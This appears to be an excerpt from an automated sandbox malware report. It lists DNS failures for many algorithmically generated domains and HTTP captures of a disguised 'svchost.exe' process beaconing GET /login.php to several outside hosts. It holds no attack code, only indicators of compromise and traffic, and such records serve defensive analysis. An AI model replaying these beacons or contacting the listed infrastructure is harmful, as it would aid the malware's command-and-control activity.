Nov 11, 2024 18:51:40.333208084 CET	1.1.1.1	192.168.2.6	0xace	Name error (3)	lyrytyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.334003925 CET	1.1.1.1	192.168.2.6	0xf377	Name error (3)	gacyhuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.341411114 CET	1.1.1.1	192.168.2.6	0xe40f	Name error (3)	vocyjik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.351914883 CET	1.1.1.1	192.168.2.6	0xbea8	Name error (3)	puzygyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.352181911 CET	1.1.1.1	192.168.2.6	0x5de9	Name error (3)	vojydoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.352204084 CET	1.1.1.1	192.168.2.6	0xc40c	Name error (3)	pujydap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.353286982 CET	1.1.1.1	192.168.2.6	0xa830	Name error (3)	qebyqig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.353862047 CET	1.1.1.1	192.168.2.6	0xfa26	Name error (3)	vopyzyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.354011059 CET	1.1.1.1	192.168.2.6	0x5e2c	Name error (3)	vocymum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.354192019 CET	1.1.1.1	192.168.2.6	0x5aa9	Name error (3)	gahyvab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.362282991 CET	1.1.1.1	192.168.2.6	0x3081	Name error (3)	qeqyrav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.362297058 CET	1.1.1.1	192.168.2.6	0x1d6e	Name error (3)	qetytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.366257906 CET	1.1.1.1	192.168.2.6	0x22dc	Name error (3)	vonykam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.377358913 CET	1.1.1.1	192.168.2.6	0x9c2	Name error (3)	galynus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.377372026 CET	1.1.1.1	192.168.2.6	0xcf0e	Name error (3)	qedysol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.377726078 CET	1.1.1.1	192.168.2.6	0x55c5	Name error (3)	ganyqib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.378938913 CET	1.1.1.1	192.168.2.6	0x903e	Name error (3)	vopyput.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.379055977 CET	1.1.1.1	192.168.2.6	0x9299	Name error (3)	qedyxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.379647970 CET	1.1.1.1	192.168.2.6	0xa83c	Name error (3)	vojybef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.381083012 CET	1.1.1.1	192.168.2.6	0x2b87	Name error (3)	lyvyjoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.382035971 CET	1.1.1.1	192.168.2.6	0x719a	Name error (3)	qetylel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.382138014 CET	1.1.1.1	192.168.2.6	0x31d6	Name error (3)	purytyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.391098022 CET	1.1.1.1	192.168.2.6	0x20bb	Name error (3)	pufycog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.392590046 CET	1.1.1.1	192.168.2.6	0x309b	Name error (3)	pujybev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.392750978 CET	1.1.1.1	192.168.2.6	0x8cec	Name error (3)	volymuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.393897057 CET	1.1.1.1	192.168.2.6	0xe014	Name error (3)	pumywov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.394710064 CET	1.1.1.1	192.168.2.6	0xb275	Name error (3)	qexynyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.395245075 CET	1.1.1.1	192.168.2.6	0xab45	Name error (3)	lyxygur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.395493031 CET	1.1.1.1	192.168.2.6	0x5e28	Name error (3)	pumyleg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.396469116 CET	1.1.1.1	192.168.2.6	0x6bfa	Name error (3)	pufypuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.399425983 CET	1.1.1.1	192.168.2.6	0x3903	Name error (3)	puvyjiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.407080889 CET	1.1.1.1	192.168.2.6	0x2752	Name error (3)	pupypil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.410708904 CET	1.1.1.1	192.168.2.6	0xaf7b	Name error (3)	purylal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.411163092 CET	1.1.1.1	192.168.2.6	0xf531	Name error (3)	lyryler.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.411652088 CET	1.1.1.1	192.168.2.6	0x8f3b	Name error (3)	gatyzyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.411942005 CET	1.1.1.1	192.168.2.6	0x8a62	Name error (3)	ganykah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.412120104 CET	1.1.1.1	192.168.2.6	0x7bd9	Name error (3)	gatypuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.412328959 CET	1.1.1.1	192.168.2.6	0x827b	Name error (3)	qegysiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.412390947 CET	1.1.1.1	192.168.2.6	0xed2b	Name error (3)	gacynyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.413194895 CET	1.1.1.1	192.168.2.6	0x14b3	Name error (3)	vowyrec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.413314104 CET	1.1.1.1	192.168.2.6	0xf69e	Name error (3)	lygysid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.415515900 CET	1.1.1.1	192.168.2.6	0xed44	Name error (3)	vowykat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.415654898 CET	1.1.1.1	192.168.2.6	0x721b	Name error (3)	gahydos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.435003042 CET	1.1.1.1	192.168.2.6	0xbf43	Name error (3)	qegyvag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.743508101 CET	1.1.1.1	192.168.2.6	0x3cd4	Name error (3)	qebykoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.743668079 CET	1.1.1.1	192.168.2.6	0xf670	Name error (3)	lysysir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.743807077 CET	1.1.1.1	192.168.2.6	0x6b81	Name error (3)	qekynyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.765559912 CET	1.1.1.1	192.168.2.6	0x8f0f	Name error (3)	galyfez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.565934896 CET	1.1.1.1	192.168.2.6	0x7023	Name error (3)	gaqykoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.574799061 CET	1.1.1.1	192.168.2.6	0x4bb0	Name error (3)	pupyteg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.576322079 CET	1.1.1.1	192.168.2.6	0x5562	Name error (3)	pumyjip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.578874111 CET	1.1.1.1	192.168.2.6	0x5b7b	Name error (3)	qeqykop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.583337069 CET	1.1.1.1	192.168.2.6	0x7a31	Name error (3)	lymyjix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.588471889 CET	1.1.1.1	192.168.2.6	0xbac3	Name error (3)	lyxynej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.588495016 CET	1.1.1.1	192.168.2.6	0xd0c8	Name error (3)	qekyvol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.588505983 CET	1.1.1.1	192.168.2.6	0x7743	Name error (3)	vofypuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.590115070 CET	1.1.1.1	192.168.2.6	0x9c1b	Name error (3)	qedytyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.594923019 CET	1.1.1.1	192.168.2.6	0xb999	Name error (3)	qebyhuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.596271992 CET	1.1.1.1	192.168.2.6	0xc93f	Name error (3)	qeqyqul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.604646921 CET	1.1.1.1	192.168.2.6	0xb9b6	Name error (3)	volybak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.607870102 CET	1.1.1.1	192.168.2.6	0x7cd7	Name error (3)	vonyjuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.608505011 CET	1.1.1.1	192.168.2.6	0xd0f2	Name error (3)	lysytyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.620332956 CET	1.1.1.1	192.168.2.6	0xe3be	Name error (3)	galyvaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.622865915 CET	1.1.1.1	192.168.2.6	0xc472	Name error (3)	ganyhus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.624078035 CET	1.1.1.1	192.168.2.6	0x70fa	Name error (3)	puzydog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.624377012 CET	1.1.1.1	192.168.2.6	0x13ef	Name error (3)	puzybeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.642112017 CET	1.1.1.1	192.168.2.6	0x9702	Name error (3)	gadypub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.654731989 CET	1.1.1.1	192.168.2.6	0xd263	Name error (3)	lykyvor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.811844110 CET	1.1.1.1	192.168.2.6	0x8660	Name error (3)	puvygyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.811995983 CET	1.1.1.1	192.168.2.6	0x8b9c	Name error (3)	gatyrah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.812401056 CET	1.1.1.1	192.168.2.6	0x18a3	Name error (3)	pujycil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.812939882 CET	1.1.1.1	192.168.2.6	0x597a	Name error (3)	qetyraq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.814209938 CET	1.1.1.1	192.168.2.6	0x3f29	Name error (3)	vofyzyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.814979076 CET	1.1.1.1	192.168.2.6	0xc3c2	Name error (3)	vocygef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.814990044 CET	1.1.1.1	192.168.2.6	0x1765	Name error (3)	gahycuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.815865993 CET	1.1.1.1	192.168.2.6	0x20ad	Name error (3)	lyxyfan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.816812038 CET	1.1.1.1	192.168.2.6	0x6e8e	Name error (3)	qexyfag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.817580938 CET	1.1.1.1	192.168.2.6	0x720a	Name error (3)	lygyxux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.818384886 CET	1.1.1.1	192.168.2.6	0xa5c1	Name error (3)	lyrywoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.828174114 CET	1.1.1.1	192.168.2.6	0xc859	Name error (3)	gacyfeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.834798098 CET	1.1.1.1	192.168.2.6	0x7dbd	Name error (3)	purywoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.836462021 CET	1.1.1.1	192.168.2.6	0x48b5	Name error (3)	vowyqik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.837321997 CET	1.1.1.1	192.168.2.6	0x7633	Name error (3)	gaqyqiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.838077068 CET	1.1.1.1	192.168.2.6	0x920b	Name error (3)	pufyxyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.879749060 CET	1.1.1.1	192.168.2.6	0xd9d3	Name error (3)	lyvygyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.884919882 CET	1.1.1.1	192.168.2.6	0xa00a	Name error (3)	vopyrem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.886008024 CET	1.1.1.1	192.168.2.6	0x6c86	Name error (3)	vojycit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.965037107 CET	1.1.1.1	192.168.2.6	0x929e	Name error (3)	qegyxup.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.comuser-agent:

qegyhig.com

lysyvan.com

puzylyp.com

vonypom.com

lymyxid.com

galyqaz.com

gahyqah.com

vocyzit.com

qetyfuv.com

lyvyxor.com

vojyqem.com

gatyfus.com

gadyniw.com

ww8.galyqaz.com

ww3.galyqaz.com

pupydeq.com

pupycag.com

lygynud.com

lyrysor.com

106.15.232.163:8000

galynuh.com

qexyhuv.com

gadyciz.com

lyxynyx.com

vofycot.com

qegyval.com

ww16.vofycot.com

ww25.lyxynyx.com

qetyhyg.com

gatyhub.com

lygyvuj.com

gahyhiz.com

www.gahyqah.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	18.208.156.248	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:27.962400913 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com
Nov 11, 2024 18:50:28.382122040 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	3.94.10.34	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:27.969291925 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com
Nov 11, 2024 18:50:28.394520044 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	199.191.50.83	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.364603043 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com
Nov 11, 2024 18:50:30.305301905 CET	758	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:50:28 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=903vr478893028933998491; expires=Sat, 10-Nov-2029 17:50:28 GMT; Max-Age=157680000; path=/; domain=galyqaz.com; HttpOnly Location: //ww8.galyqaz.com Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 11, 2024 18:50:31.180229902 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:50:32.160233021 CET	620	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:50:31 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Location: //ww3.galyqaz.com Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 11, 2024 18:50:48.541954994 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:50:49.655761957 CET	861	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:50:49 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Content-Length: 271 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 28 31 30 29 3c 2f 68 33 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (10)</h3></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49717	23.253.46.64	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.399502039 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:50:28.853502035 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 11 Nov 2024 17:50:23 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 11, 2024 18:50:28.853533983 CET	169	IN	Data Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49718	188.114.96.3	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.415066004 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:50:29.131983995 CET	972	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L2WakQC1pF7YEFC7Sq8%2BNuvVrewozUUuxw9%2F%2BUMWRMWEqW3mLg69PFC6LRyCFavWY6C4DFYJrYw7hBF0szDswN5E03URBUXf4pvpW1H7%2Bh3GbxhTNNmwlb%2FtSpdOog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e101ff5ef87436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1231&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:50:31.289357901 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
